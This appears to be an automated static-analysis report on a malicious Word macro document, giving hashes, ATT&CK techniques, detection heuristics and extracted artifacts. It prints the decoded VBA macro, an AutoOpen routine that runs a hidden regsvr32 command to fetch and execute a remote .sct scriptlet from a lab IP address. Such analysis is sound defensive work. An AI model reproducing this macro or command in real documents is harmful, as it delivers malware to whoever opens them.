Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a642a1d1b3063501…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-04-18 09:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: eadd1182b3a10c0d4bf79a76af93aae6 SHA-1: 838c8f557c80f3932b02ec312e200e4517f6948e SHA-256: a642a1d1b30635019fcbf7006515a52f3437f94f451bc071efd37a0ec7eb8fc8
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro executes a command using regsvr32 to download and run a script from the URL http://192.168.56.102:8080/ckL4H7Dey.sct. This indicates the document is a malicious dropper designed to fetch and execute a secondary payload, likely delivered via spearphishing.

Heuristics 7

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\meow\Desktop\text.dotm
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.56.102:8080/ckL4H7Dey.sct OOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 469 bytes
SHA-256: 0e047dd92c2b0abf9749ead88f3ef03cb05ac645681ea5653e721e94354c0c14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
'
' AutoOpen 巨集
'
'
Call Shell("regsvr32 /s /n /u /i:http://192.168.56.102:8080/ckL4H7Dey.sct scrobj.dll", vbHide)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 598f4268fe328d1854683a135b46adde25f464427034854a599e9d25a0f4e15e

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